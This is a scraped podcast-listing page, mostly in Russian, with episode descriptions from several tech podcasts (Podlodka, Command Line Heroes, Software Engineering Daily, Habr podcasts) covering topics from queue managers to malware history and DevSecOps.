www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: https://t.me/podlodkanews Страница в Facebook: www.facebook.com/podlodkacast/ Twitter-аккаунт: https://twitter.com/PodlodkaPodcast Ведущие в выпуске:

Стас Цыганов, Евгений Кателла, Катя Петрова Полезные ссылки:

State of Dev…

2 месяца назад @ soundcloud.com
Podlodka #277 – Менеджеры очередей
Podlodka #277 – Менеджеры очередей Podlodka #277 – Менеджеры очередей

Очереди – один из ключевых компонентов архитектуры приложений с асинхронной бизнес-логикой. Они помогают сглаживать пиковую нагрузку на сервисы, строить надежные распределенные по географии системы, и писать независимые друг от друга компоненты системы. Владимир Перепелица, архитектор и продакт-менеджер из Tarantool, провел отличную экскурсию в мир очередей – рассказал про существующие топологии, их плюсы и минусы, работу менеджеров очередей под капотом и кучу кейсов того, как строить архитектуру системы на базе очередей. Точка — финтех компания, в которой ты будешь свободен в решениях и счастлив жить и работать где угодно. Погнали? https://tchk.me/pBaxju Приходи на новый сезон Podlodka Bac…

2 месяца, 1 неделя назад @ soundcloud.com
Podlodka #276 – Разработка API
Podlodka #276 – Разработка API Podlodka #276 – Разработка API

Вечно можно наблюдать за тем, как горит огонь, течёт вода и за тем, как разработчики ругаются по поводу спеки нового API метода. Существует ли API, которым всем удобно пользоваться, а его автора не хочется застрелить при необходимости обновления? Если да, то как добиться того же у себя на проекте? Искали ответ на этот вопрос, плавали по слоям абстракций и пытались устроить холивар про REST с Сергеем Константиновым, проработавшим 9 лет в API Яндекс.Карт и выпустившим книгу про построение API. Оставляйте заявку на сайте и передайте Selectel задачи по настройке и обслуживанию IT-инфраструктуры: https://slc.tl/y6p2n Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши л…

2 месяца, 2 недели назад @ soundcloud.com
Podlodka #275 – Распознавание музыки
Podlodka #275 – Распознавание музыки Podlodka #275 – Распознавание музыки

А со скольки нот угадаешь мелодию ты? В выпуск про распознавание музыки позвали руководителя группы анализа медиаданных Яндекса Евгения Крофто. Поговорили про то как слышат и узнают музыку алгоритмы. Разобрали старое решение десятилетней давности и сравнили его с новым подходом на сиамских нейросетях. «Золотое Яблоко» - №1 по выручке среди бьюти e-commerce России в рейтинге Data Insight 2021 года. А в этом году компания стала самой быстрорастущей сетью РФ в категории non-food в рейтинге INFOLine Retail Russia TOP-100. Вакансии в IT команду https://career.habr.com/companies/goldapple/vacancies Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комм…

2 месяца, 3 недели назад @ soundcloud.com
Podlodka #274 – Зубы
Podlodka #274 – Зубы Podlodka #274 – Зубы

Мы записали огромный выпуск с разбором самых стыдных вопросов про стоматологию: как правильно чистить зубы, чем элайнеры лучше брекетов, в какую страну надо ехать за имплантами и многих других. Разбираться со здоровьем, эстетикой и гигиеной ротовой полости нам помогал Артем Газаров, владелец сети клиник “Белая радуга”. Для всех слушателей выпуска скидка 5% на услуги клиники до конца июля по промокоду PODLODKA. Регистрируйтесь в Selectel и разворачивайте инфраструктуру для хранения персональных данных даже с максимальным уровнем защищенности: https://slc.tl/a1j7t Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях!…

3 месяца назад @ soundcloud.com
Podlodka #273 – Оценки не нужны
Podlodka #273 – Оценки не нужны Podlodka #273 – Оценки не нужны

Продолжаем нести знамя борьбы с карго-культом, и на сей раз под раздачу попали оценки сроков. Действительно, какая разница, какой срок назвать, если делать все равно всегда дольше? Вместе с Виталием Шароватовым посвятили выпуск поискам истины! Яндекс Банк ищет ребят на интересные задачи в небольшой, но технологичный финтех-стартап. Не тот стартап, где переработки — награда за энтузиазм. И не тот финтех, «где карту получали, туда и идите». А дружелюбный и продвинутый продукт с небольшой командой, но большими планами: https://fintech.yandex.ru/?utm_source=telegram&utm_campaign=podlodka Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в ме…

3 месяца, 1 неделя назад @ soundcloud.com
Проветримся! Проветримся!
последний пост 3 месяца, 2 недели назад
Эмоции и личность
Эмоции и личность

Это тринадцатая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

3 месяца, 2 недели назад @ buzzsprout.com
Другие люди
Другие люди

Это двенадцатая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

3 месяца, 2 недели назад @ buzzsprout.com
Внимание и эмоции
Внимание и эмоции

Это одиннадцатая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

3 месяца, 2 недели назад @ buzzsprout.com
Эмоции стоиков
Эмоции стоиков

Это десятая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

3 месяца, 2 недели назад @ buzzsprout.com
Ощущения и эмоции
Ощущения и эмоции

Это девятая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

3 месяца, 3 недели назад @ buzzsprout.com
Будущее
Будущее

Это восьмая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

3 месяца, 3 недели назад @ buzzsprout.com
Благодарность
Благодарность

Это седьмая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

3 месяца, 3 недели назад @ buzzsprout.com
Могло быть хуже
Могло быть хуже

Это шестая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

3 месяца, 3 недели назад @ buzzsprout.com
Внимание к деталям
Внимание к деталям

Это пятая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

3 месяца, 3 недели назад @ buzzsprout.com
Стоические боги
Стоические боги

Это четвёртая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

3 месяца, 3 недели назад @ buzzsprout.com
Человек и время
Человек и время

Это третья часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

3 месяца, 3 недели назад @ buzzsprout.com
Немного про стоицизм
Немного про стоицизм

Это вторая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

3 месяца, 4 недели назад @ buzzsprout.com
Немного про медитацию
Немного про медитацию

Это первая часть небольшого набора упражнений, посвящённых медитации и стоической философии.Support the show

3 месяца, 4 недели назад @ buzzsprout.com
Наука на ночь
Наука на ночь Наука на ночь

Как один мальчик отказался ходить по струнке? Как одна девочка плохо себя вела и попала в историю?Новый Год — самое время для сказок, историй и тостов! Мы решили прочитать вам пару историй из книги «Наука на ночь», которую пишут Ксюша и Иван, а заодно создать новогоднее настроение всей командой подкаста.Не будьте такими душными, давайте лучше — проветримся!Подпишись в Телеграм на канал @progulkaApplePodcasts ; GooglePodcasts ; Spotify ; Я.музыкаSupport the show (https://www.patreon.com/progulka)

8 месяцев, 4 недели назад @ buzzsprout.com
Речевые технологии
Речевые технологии

Как машинное обучение помогает учиться людям? Что делает робота милым, а что пугающим? И почему речевые ассистенты совсем недавно заговорили мужскими голосами?Сегодня с нами проветриваются: Анна Дёгтева - лингвист, антрополог, разработчица голосовых интерфейсовСоня Терпугова - она делает стартап SmallTalk2.me - AI помощник в разговорном английском, а до этого около 8 лет работала в ЯндексеНе будьте такими душными, давайте лучше — проветримся!Подпишись в Телеграм на канал @progulkaApplePodcasts ; GooglePodcasts ; Spotify ; Я.музыкаSupport the show (https://www.patreon.com/progulka)

9 месяцев назад @ buzzsprout.com
Вы находитесь здесь Вы находитесь здесь
последний пост None
Comand Line Heroes by RedHat Comand Line Heroes by RedHat
последний пост 3 месяца, 4 недели назад
All Together Now
All Together Now All Together Now

Our show is all about heroes making great strides in technology. But in InfoSec, not every hero expects to ride off into the sunset. In our series finale, we tackle vulnerability scans, how sharing information can be a powerful tool against cyber crime, and why it’s more important than ever for cybersecurity to have more people, more eyes, and more voices, in the fight.Wietse Venema gives us the story of SATAN, and how it didn’t destroy the world as expected. Maitreyi Sistla tells us how representation helps coders build things that work for everyone. And Mary Chaney shines a light on how hiring for a new generation can prepare us for a bold and brighter future.If you want to read up on som…

3 месяца, 4 недели назад @ redhat.com
Invisible Intruders
Invisible Intruders Invisible Intruders

What began as a supposed accounting error landed Cliff Stoll in the midst of database intrusions, government organizations, and the beginnings of a newer threat—cyber-espionage. This led the eclectic astronomer-cum-systems administrator to create what we know today as intrusion detection. And it all began at a time when people didn’t understand the importance of cybersecurity. This is a story that many in the infosec community have already heard, but the lessons from Stoll’s journey are still relevant. Katie Hafner gives us the background on this unbelievable story. Richard Bejtlich outlines the “honey pot” that finally cracked open the international case. And Don Cavender discusses the imp…

4 месяца, 1 неделя назад @ redhat.com
Ruthless Ransomers
Ruthless Ransomers Ruthless Ransomers

It’s a strange situation when someone can hold something hostage from halfway around the world. It’s tragic when your own pictures and files are remotely encrypted. But when it’s a hospital’s system? Ransomware becomes a problem about life or death. Eddy Willems recounts his involvement in defeating an early ransomware attack that targeted AIDS researchers. At the time, there was a way to discover the encryption key. But as Moti Yung warned, asymmetric encryption would change everything. In the years since, ransomware attacks have become much more popular—thanks in part to the rise of cryptocurrencies. While criminals think it’s an anonymous way to collect payment, Sheila Warren tells us th…

4 месяца, 3 недели назад @ redhat.com
Menace in the Middle
Menace in the Middle Menace in the Middle

All communication leaves the possibility for crossed wires. And as we become more connected, there’s a chance for those with ill intentions to steal our information and meddle in our daily lives—with devastating results. Smriti Bhatt breaks down the complexity behind machine-in-the-middle attacks. Johannes Ullrich tells us why we shouldn’t always trust that free WiFi. And the “father of SSL” Taher Elgamal notes that while cryptography can address the increasingly sophisticated nature of malware, there are no safe bets in security.If you want to read up on some of our research on machine in the middle attacks, you can check out all our bonus material over at redhat.com/commandlineheroes.Foll…

5 месяцев, 1 неделя назад @ redhat.com
Dawn of the Botnets
Dawn of the Botnets Dawn of the Botnets

Overwhelming numbers are scary—even in the best of circumstances. You can plan for them, build up your defenses, and do everything imaginable to prepare. But when that horde of zombies hits, their sheer numbers can still cause devastation. Botnets are digital zombie hordes. Jamie Tomasello recounts the scale of the Bredolab botnet—and the many malicious kinds of missions it carried out. Martijn Grooten explains how botnets work, and why they can be so difficult to permanently dismantle. And Darren Mott shares some of the successes the FBI had in rounding up some of the world’s most prolific bot herders.If you want to read up on some of our research on botnets, you can check out all our bonu…

5 месяцев, 3 недели назад @ redhat.com
Lurking Logic Bombs
Lurking Logic Bombs Lurking Logic Bombs

Logic bombs rarely have warning sounds. The victims mostly don’t know to expect one. And even when a logic bomb is discovered before it’s triggered, there isn’t always enough time to defuse it. But there are ways to stop them in time. Paul Ducklin recounts the race to defuse the CIH logic bomb—and the horrible realization of how widespread it was. Costin Raiu explains how logic bombs get planted, and all the different kinds of damage they can do. And Manuel Egele shares some strategies for detecting logic bombs before their conditions are met.If you want to read up on some of our research on logic bombs, you can check out all our bonus material over at redhat.com/commandlineheroes. Follow a…

6 месяцев, 1 неделя назад @ redhat.com
Terrifying Trojans
Terrifying Trojans Terrifying Trojans

Sometimes a fun game, a friendly email, or an innocuous link can be the most convenient place for an enemy to hide. And its prey is none the wiser—until it strikes. The trojan horse uses many layers of deception to do damage. The ingenuity of these attacks keeps an alarming pace with the technology we use every day. But as long as we stick to trusted sites and sources, we can better the odds against those who use our trusting nature against us. Steve Weisman tells us about how trojans still keep security professionals on the defensive. Josephine Wolff details how these attacks have evolved, and keep evolving, to catch victims off guard. And Yanick Franantonio takes on the new frontier for t…

6 месяцев, 3 недели назад @ redhat.com
Relentless Replicants
Relentless Replicants Relentless Replicants

Computer viruses and worms haunt the internet. They worm their way into a system, replicate, and spread again. It’s a simple process—with devastating consequences. But there’s a whole industry of people that rose up to fight back. Craig Schmugar recalls how he and his team responded to MyDoom, one of the fastest-spreading worms ever. Dr. Nur Zincir-Heywood reveals the inner workings of viruses and worms, and how they draw their names from the world of biology. And security expert Mikko Hypponen shares advice on avoiding malware. But he also warns that we’re in an arms race against malware developers.If you want to read up on some of our research on viruses and worms, you can check out all o…

7 месяцев назад @ redhat.com
Command Line Heroes Season 9: The Horrors of Malware
Command Line Heroes Season 9: The Horrors of Malware Command Line Heroes Season 9: The Horrors of Malware

Malware haunts us all. Viruses, worms, trojan horses, and the harm they do often corrupts the promise of the internet. But the world of computing continues to grow. Though it’s changed us forever, malware hasn’t stopped us from connecting. Season 9 of Command Line Heroes is the culmination of the show. We focus on security and the people who, every day, face the monsters of the digital world. They disinfect computers from viruses, defuse logic bombs, and dismantle botnets. But they can’t do it alone. It’ll take all of us working together to make the world a safer place.The first episode drops February 22, 2022. Subscribe today and sign up for the newsletter to get the latest updates.

7 месяцев, 2 недели назад @ redhat.com
Robot as Vehicle
Robot as Vehicle Robot as Vehicle

Self-driving cars are seemingly just around the corner. These robots aren’t quite ready for the streets. For every hyped-up self-driving showcase, there’s a news story about its failure. But the good news is that we get closer every year. Alex Davies steers us through the history of autonomous vehicles. Alex Kendall maps the current self-driving landscape. And Jason Millar takes us under the hood of these robots’ computers to better understand how they make decisions.If you want to read up on some of our research on self-driving cars, you can check our all our bonus material over at redhat.com/commandlineheroes. Follow along with the episode transcript.

9 месяцев, 2 недели назад @ redhat.com
Python Bytes Python Bytes
последний пост 6 дней, 20 часов назад
#302 The Blue Shirt Episode
#302 The Blue Shirt Episode 6 дней, 20 часов назад @ pythonbytes.fm
#301 PyTorch Grows Up and Moves Out
#301 PyTorch Grows Up and Moves Out 1 неделя, 4 дня назад @ pythonbytes.fm
#300 A Jupyter merge driver for git
#300 A Jupyter merge driver for git 2 недели, 6 дней назад @ pythonbytes.fm
#299 Will McGugan drops by
#299 Will McGugan drops by 3 недели, 2 дня назад @ pythonbytes.fm
#298 "Unstoppable" Python
#298 "Unstoppable" Python 1 месяц назад @ pythonbytes.fm
#297 I AM the documentation
#297 I AM the documentation 1 месяц, 1 неделя назад @ pythonbytes.fm
#296 pip: Constrain your excitement
#296 pip: Constrain your excitement 1 месяц, 2 недели назад @ pythonbytes.fm
#295 Flutter + Python GUI Apps?
#295 Flutter + Python GUI Apps? 1 месяц, 3 недели назад @ pythonbytes.fm
#294 Specializing Adaptive Interpreters in Full Color
#294 Specializing Adaptive Interpreters in Full Color 2 месяца назад @ pythonbytes.fm
#293 And if I pull this open source Jenga block...
#293 And if I pull this open source Jenga block... 2 месяца, 1 неделя назад @ pythonbytes.fm
#292 Thursday, it's always a Thursday
#292 Thursday, it's always a Thursday 2 месяца, 2 недели назад @ pythonbytes.fm
#291 Wait, you have how many licenses?!?
#291 Wait, you have how many licenses?!? 2 месяца, 3 недели назад @ pythonbytes.fm
#290 Sentient AI? If so, then what?
#290 Sentient AI? If so, then what? 3 месяца назад @ pythonbytes.fm
#289 Textinator is coming for your text, wherever it is
#289 Textinator is coming for your text, wherever it is 3 месяца, 1 неделя назад @ pythonbytes.fm
#288 Performance benchmarks for Python 3.11 are amazing
#288 Performance benchmarks for Python 3.11 are amazing 3 месяца, 2 недели назад @ pythonbytes.fm
Software Engineering Daily Software Engineering Daily
последний пост 4 дня назад
Automatic Database Tuning with Andy Pavlo
Automatic Database Tuning with Andy Pavlo

The default configuration in most databases is meant for broad compatibility rather than performance. Database tuning is a process in which the configurations of a database are modified to achieve optimal performance. Databases have hundreds of configuration knobs that control various factors, such as the amount of memory to use for caches or how often

The post Automatic Database Tuning with Andy Pavlo appeared first on Software Engineering Daily.

4 дня назад @ softwareengineeringdaily.com
Practical Machine Learning in JavaScript with Charlie Gerard
Practical Machine Learning in JavaScript with Charlie Gerard

Originally published on January 1, 2022. Charlie Gerard is an incredibly productive developer. In addition to being the author of Practical Machine Learning in JavaScript, her website charliegerard.dev has a long list of really interesting side projects exploring the intersection of human computer interaction, computer vision, interactivity, and art. In this episode we touch on

The post Practical Machine Learning in JavaScript with Charlie Gerard appeared first on Software Engineering Daily.

1 неделя, 1 день назад @ softwareengineeringdaily.com
Mental Health in Tech with Andy Johns
Mental Health in Tech with Andy Johns

Software engineering can be a surprisingly grueling career. It is both physically and mentally demanding to sit in front of a screen for hours on end producing code. Andy Johns is our guest in this episode. Andy previously worked on growth at Facebook, Twitter, and Quora as an early employee. He’s also an investor in

The post Mental Health in Tech with Andy Johns appeared first on Software Engineering Daily.

1 неделя, 4 дня назад @ softwareengineeringdaily.com
Data Lake for Developers with Jorge Sancha
Data Lake for Developers with Jorge Sancha

Data analytics technology and tools have seen significant improvements in the past decade. But, it can still take weeks to prototype, build and deploy new transformations and deployments, usually requiring considerable engineering resources. Plus, most data isn’t real-time. Instead, most of it is still batch-processed. Tinybird Analytics provides an easy way to ingest and query

The post Data Lake for Developers with Jorge Sancha appeared first on Software Engineering Daily.

2 недели назад @ softwareengineeringdaily.com
Panther: Security as Code with Jack Naglieri
Panther: Security as Code with Jack Naglieri

Originally published on August 23, 2021. Application security is usually done with a set of tools and services known as SIEM – Security Information and Event Management. SIEM tools usually try to provide visibility into an organization’s security systems, as well as event log management and security event notifications. The company Panther takes traditional SIEM

The post Panther: Security as Code with Jack Naglieri appeared first on Software Engineering Daily.

2 недели, 4 дня назад @ softwareengineeringdaily.com
Bridgecrew: Cloud Security with Guy Eisenkot
Bridgecrew: Cloud Security with Guy Eisenkot

Cloud computing provides tools, storage, servers, and software products through the internet. Securing these resources is a constant process for companies deploying new code to their cloud environments. It’s easy to overlook security flaws because company applications are very complex and many people work together to develop them. Wyze Labs, for example, had millions of

The post Bridgecrew: Cloud Security with Guy Eisenkot appeared first on Software Engineering Daily.

2 недели, 6 дней назад @ softwareengineeringdaily.com
Cloud-native Observability with Martin Mao
Cloud-native Observability with Martin Mao

Maintaining availability in a modern digital application is critical to keeping your application operating and available and to keep meeting your customers growing demands. There are many observability platforms out there and certainly Prometheus is a popular open source solution for cloud native companies yet operating an observability platform, costs money, and all of the

The post Cloud-native Observability with Martin Mao appeared first on Software Engineering Daily.

3 недели, 5 дней назад @ softwareengineeringdaily.com
Developer-first Observability with Liran Haimovitch
Developer-first Observability with Liran Haimovitch

As software engineering teams start to build products that become more and more mature, it becomes necessary to be able to debug complex issues with tooling that enables understanding of the full scenario. This can come from application scenarios where APIs are running multiple versions, where users are using your app from multiple devices, device

The post Developer-first Observability with Liran Haimovitch appeared first on Software Engineering Daily.

3 недели, 5 дней назад @ softwareengineeringdaily.com
Developer-first Observability with Liran Haimovitch
Developer-first Observability with Liran Haimovitch

As software engineering teams start to build products that become more and more mature. It becomes necessary to be able to debug complex issues with tooling that enables understanding of the full scenario. This can come from application scenarios where APIs are running multiple versions, where users are using your app from multiple devices, device

The post Developer-first Observability with Liran Haimovitch appeared first on Software Engineering Daily.

3 недели, 5 дней назад @ softwareengineeringdaily.com
Modular Blockchain Architecture with Nader Dabit
Modular Blockchain Architecture with Nader Dabit

Web infrastructure has evolved from individual servers to shared hosting services to virtual machines and virtual functions. The future of the internet however is looking toward a much more distributed computation model blockchain technology is central to the future of this modern internet of blockchains are still in their infancy and the most people blockchains

The post Modular Blockchain Architecture with Nader Dabit appeared first on Software Engineering Daily.

4 недели назад @ softwareengineeringdaily.com
Lakehouse Data Stack with Raj Bains
Lakehouse Data Stack with Raj Bains

Originally published on April 12, 2022. As companies move to Spark and a Lakehouse architecture, they are realizing that the data tools are lagging way behind. You need to be a programmer to effectively use Spark and Airflow. There are some low-code ETL tools, but is that enough? Companies want to treat their data pipelines

The post Lakehouse Data Stack with Raj Bains appeared first on Software Engineering Daily.

1 месяц назад @ softwareengineeringdaily.com
Architecting for Scale with Lee Atchison
Architecting for Scale with Lee Atchison

Originally published on February 12, 2022. Lee Atchison spent seven years at Amazon working in retail, software distribution, and Amazon Web Services. He then moved to New Relic, where he has spent four years scaling the company’s internal architecture. From his decade of experience at fast-growing web technology companies, Lee has written the book Architecting

The post Architecting for Scale with Lee Atchison appeared first on Software Engineering Daily.

1 месяц назад @ softwareengineeringdaily.com
Data Infrastructure for Finance
Data Infrastructure for Finance

Data is becoming a bank’s biggest asset. These complex enterprises have a huge opportunity ahead – to transform themselves to become a trusted hub of a much broader data ecosystem that goes beyond the financial industry and helps to form a new class of cross-industry experience architectures that are scalable and transparent. The data physics

The post Data Infrastructure for Finance appeared first on Software Engineering Daily.

1 месяц, 1 неделя назад @ softwareengineeringdaily.com
Kubernetes Troubleshooting with Itiel Shwartz and Lee Atchison
Kubernetes Troubleshooting with Itiel Shwartz and Lee Atchison

Cloud native applications utilizing microservice architectures has grown into one of the most popular application architectural patterns in recent years. The value of leveraging dynamic cloud resources, along with the flexibility and scalability of microservice architectures, creates a strong paradigm that’s hard to miss. The strong adoption of Kubernetes has strengthened the pattern enormously. The

The post Kubernetes Troubleshooting with Itiel Shwartz and Lee Atchison appeared first on Software Engineering Daily.

1 месяц, 1 неделя назад @ softwareengineeringdaily.com
Permissions and Access-control with Or Weis
Permissions and Access-control with Or Weis

Permissions are Hard! And they are becoming harder as we move more into the Cloud-native ecosystem. If we go back in time to the point where it was just a single monolith that you were building on your own. You’ll probably have a framework to manage the permissions for you. But when you are working

The post Permissions and Access-control with Or Weis appeared first on Software Engineering Daily.

1 месяц, 1 неделя назад @ softwareengineeringdaily.com
Habr Podcasts Habr Podcasts
последний пост 2 месяца, 2 недели назад
Хабр ПРО // Охапка дров, деврел готов: как выжать максимум пользы из техноавторства
Хабр ПРО // Охапка дров, деврел готов: как выжать максимум пользы из техноавторства Хабр ПРО // Охапка дров, деврел готов: как выжать максимум пользы из техноавторства

Контент — сложный и часто неблагодарный труд, но что-то толкает людей становиться авторами. И дело не только в амбициях — если бы контент не приносил технарям пользу, постов на Хабре бы на порядок меньше. Так какие бенефиты может выжать хороший автор из своего аккаунта? Стоит ли признаваться работодателю, что в свободное время пишешь о технологиях? И есть ли вариант остаться в разработке, если к написанию кода уже подостыл? Спойлер: есть, становитесь деврелами. 1:00 Наши гости: Елена Кабанец, руководитель HR-бренда Сбера, и Григорий Петров, деврел компании Еврон. 1:15 Путь в деврелы начинается со статей? Личный опыт гостя. 4:40 Как Сбер находит авторов внутри команды и мотивирует их писать …

2 месяца, 2 недели назад @ soundcloud.com
Хабр ПРО // Ретроспектива фронтенда: ностальгируем по jQuery и кроссбраузерности
Хабр ПРО // Ретроспектива фронтенда: ностальгируем по jQuery и кроссбраузерности Хабр ПРО // Ретроспектива фронтенда: ностальгируем по jQuery и кроссбраузерности

Кто-то называет прогресс движением по кругу, кто-то заменой одних неприятностей другими, а кто-то считает его законом природы. В IT это чувствуется особенно сильно — и в этом выпуске мы обсудим, какой путь прошла фронтенд-разработка. Вспомним, когда вообще появился этот термин, что было до него, поностальгируем о кроссбраузерности и узнаем, смог бы senior десятилетней давности сойти сегодня за джуна. Ностальгировали с опытными фронтендерами: Максимом Ореховым, руководителем центра компетенций по разработке веб-приложений в Промсвязьбанке, и Евгением Дмитриевым, руководителем разработки дизайн-системы ivi. Запись онлайна от 07/07. 1:24 Опыт гостей: первое вхождение во фронтэнд. 2:21 Эпоха ве…

2 месяца, 2 недели назад @ soundcloud.com
Хабр ПРО // Фундамент для карьеры: чему учат, что требуют и что действительно нужно
Хабр ПРО // Фундамент для карьеры: чему учат, что требуют и что действительно нужно Хабр ПРО // Фундамент для карьеры: чему учат, что требуют и что действительно нужно

Важен ли вуз для карьеры?.. Однажды в начале 2000-х сисадмин одного регионального оператора связи три дня не мог починить биллинг. Ошибка была очень странной: в некоторых блоках упорно лезла дата 1970-01-01. Сисадмин искал причины повсюду, от формата даты и до взлома, пока не пришёл главный инженер — и не объяснил. Уходя, он посмотрел на окончившего биофак сисадмина, сложил пальцы, сотряс ими и произнёс: «Это база!». Сисадмин был отправлен на курсы — а фраза стала мемной. В этом выпуске мы поговорили о базе. Практика решает, но без теоретического фундамента не достичь высот. Мы обсудили, чего не понимают студенты-технари, с какими навыками студенту идти на первую работу, как совместить её с…

5 месяцев, 1 неделя назад @ soundcloud.com
Хабр ПРО // Будущее технохардкора: становится ли Хабр проще и вредит ли это содержанию
Хабр ПРО // Будущее технохардкора: становится ли Хабр проще и вредит ли это содержанию Хабр ПРО // Будущее технохардкора: становится ли Хабр проще и вредит ли это содержанию

Искушённые хабраюзеры кривят губы при виде чересчур простого контента. «Это всё для джунов и домохозяек, где наш технохардкор?» Но разве простота и доступность автоматически делают текст плохим? Разобраться в этом нам помогли выпускающий редактор контент-студии Хабра Михаил Зоберн и Стас Щетинников, директор по развитию одного из IT-департаментов в Сбере. 2:40 Вспоминаем Хабр, который “торт”. Действительно ли раньше было лучше

10:40 Письма Мартину Алексеевичу: разбираем популярные посты 2010 года

18:40 Почему сейчас минусуют крутые тексты (и почему мы считаем, что они крутые)

20:20 Хабр-2022: что в трендах, что в топах. Аналогия с книжным магазином

24:00 Литературные опусы айтишников для ай…

8 месяцев назад @ soundcloud.com
Хабр ПРО // Цифровые рацпредложения: строим работу с идеями разработчиков
Хабр ПРО // Цифровые рацпредложения: строим работу с идеями разработчиков Хабр ПРО // Цифровые рацпредложения: строим работу с идеями разработчиков

Однажды ты понял, как снизить затраты на продукт и улучшить его качество. Но идея так и осталась идеей: задача затерялась, а ты превратился в механического исполнителя тикетов из Jira. Мириться с этим нельзя: надо организовать работу так, чтобы инициатива разработчиков не гасла, подобно искрам на снегу.

Чтобы разобраться в этом вопросе, мы побеседовали с нашими гостями о том, как разработчики могут влиять на развитие продукта, как не потеряться в завале идей и в чем главная ошибка Совы – эффективного менеджера. Ответить на эти вопросы нам помогли: - Сергей Лавренев, руководитель по развитию продуктов из департамента по развитию онлайн-сервисов банка «Хоум Кредит», - Роман Хазеев, заместител…

9 месяцев назад @ soundcloud.com
Хабр ПРО // Agile по жизни: обсуждаем гибкую методологию разработки на бытовых примерах
Хабр ПРО // Agile по жизни: обсуждаем гибкую методологию разработки на бытовых примерах Хабр ПРО // Agile по жизни: обсуждаем гибкую методологию разработки на бытовых примерах

Кто-то при слове Agile вспоминает мемы, кто-то вечный статус «в раннем доступе» у игр, кто-то — постоянные спринты. Мы заглянем чуть глубже и с помощью наших гостей узнаем, когда Agile эффективен, а когда нет; можно ли пренести Agile на личную жизнь — и постараемся понять, почему раньше без него можно было обойтись, а теперь нет. В нашей виртуальной студии вместе с scrum-мастером Анатолием Кукаевым из Промсвязьбанка и директором продуктовой разработки PropellerAds Анатолием Ивановым мы обсудили:

1:00 Любимые шутки про Agile. Объясняем, почему это смешно

3:40 Agile в реальной жизни на примерах: где это применимо и как работает

11:50 Почему гибкие методики Agile так актуальны в быстро меняюще…

9 месяцев, 1 неделя назад @ soundcloud.com
Хабр ПРО // Матрица для микросервисов. Обсуждаем, как пройти путь от монолита к платформе
Хабр ПРО // Матрица для микросервисов. Обсуждаем, как пройти путь от монолита к платформе Хабр ПРО // Матрица для микросервисов. Обсуждаем, как пройти путь от монолита к платформе

В этом выпуске мы обсудили, как перейти от монолита к микросервисной архитектуре и построить свою платформу с теми, кто встал на этот путь. Рассказываем, как микросервисная архитектура меняет организацию команд, какие технические вызовы создает и что может дать своя платформа для микросервисов.

Гости:

Александр Тяпков, заместитель технического директора по вопросам backend-разработки в онлайн-кинотеатре IVI,

Артем Желтак, руководитель backend-разработки в inDriver. 1:10 С чем на бытовом уровне сравнить распил монолита на микросервисы. Наводим порядок в гараже, покупаем теннисные мячи в магазине теннисных мячей

3:50 Распил неизбежен? Немного драматические истории перехода на микросервисы

7:4…

9 месяцев, 1 неделя назад @ soundcloud.com
Хабр ПРО // Треугольник DevSecOps: как объединить инструменты, процессы и знания о безопасности
Хабр ПРО // Треугольник DevSecOps: как объединить инструменты, процессы и знания о безопасности Хабр ПРО // Треугольник DevSecOps: как объединить инструменты, процессы и знания о безопасности

Настраивать и контролировать процессы в IT-компании не проще, чем пилить код. Преуспеть в этом помогает DevOps, естественным продолжением которого в сфере информационной безопасности стал DevSecOps. О нём и поговорим. Вместе с нашими гостями мы рассмотрели Ивана-царевича как модель угрозы; обсудили, как быть на шаг впереди злоумышленников; как сложить слово «безопасность» из процессов, инструментов и знаний; какая главная цель DevSecOps, как перейти к нему от DevOps и с чего надо начиать внедрение и изучение этих практик. Мы взглянули на вопрос с двух сторон: реализации на практике и разработки инструментов. В этом нам помогли Алексей Бабенко, лидер команды тестирования безопасности приложе…

9 месяцев, 2 недели назад @ soundcloud.com
Хабр ПРО // Полдень, XXI век: открытое и свободное будущее под знаком Open Source
Хабр ПРО // Полдень, XXI век: открытое и свободное будущее под знаком Open Source Хабр ПРО // Полдень, XXI век: открытое и свободное будущее под знаком Open Source

Открытый код или коробочное решение? Open Source — вот он, бери и делай, только допиливать нужно будет самому. С другой стороны, коробки — проверенный временем вариант, хотя и дорого. В этом выпуске вебкаста Хабр ПРО обсудим, какой из подходов может стать мейнстримом, как выбрать подходящую под цели бизнеса лицензию и какие условия должны быть соблюдены, чтобы открытый код был безопасным. Участники:

Андрей Аврамчук, ведущий, Хабр;

Сергей Елин, тимлид ERLANG-разработчиков Osnova;

Роман Шеховцов, корпоративный архитектор Центра развития финансовых технологий Россельхозбанка. 1:15 Разница между открытым и свободным ПО

4:15 Насколько критичен выбор лицензии, какие критерии надо рассмотреть в пе…

9 месяцев, 3 недели назад @ soundcloud.com
Мысли и Методы Мысли и Методы
последний пост None
Трёп Себранта Трёп Себранта
последний пост 1 месяц, 3 недели назад
